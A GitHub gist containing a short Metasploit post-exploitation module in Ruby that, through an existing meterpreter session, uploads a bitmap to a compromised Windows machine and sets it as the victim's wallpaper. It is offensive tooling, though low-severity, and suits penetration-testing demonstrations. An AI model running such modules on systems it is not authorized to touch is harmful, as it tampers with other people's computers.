Skip to content

Instantly share code, notes, and snippets.

@mubix
Created August 19, 2015 07:40
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mubix/5390166092775e9c2c85 to your computer and use it in GitHub Desktop.
Save mubix/5390166092775e9c2c85 to your computer and use it in GitHub Desktop.
Set Wallpaper Metasploit Post Module from Metasploit Minute
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Registry
def initialize(info={})
super( update_info( info,
'Name' => 'Wallpaper Set',
'Description' => %q{
This module sets a users wallpaper and then activates it
},
'License' => MSF_LICENSE,
'Author' => [ 'mubix'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptPath.new('BMP', [ true, 'Path to the file to upload and set' ]),
OptString.new('WALLNAME', [false, 'Name of wallpaper on victim'])
], self.class)
end
def run
refresh_cmd = "rundll32.exe user32.dll,UpdatePerUserSystemParameters"
tempdir = expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8)
vprint_status("Creating a temp dir for wallpaper #{tempdir}...")
session.fs.dir.mkdir(tempdir)
vprint_status(" >> Uploading wallpaper...")
path = datastore['WALLNAME'] ? datastore['WALLNAME'] : "kerby.bmp"
write_file(tempdir + "\\" +path,::File.read(datastore['BMP']))
session.railgun.user32.SystemParametersInfoA(20, 0, tempdir + "\\"+ path, 0x03)
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment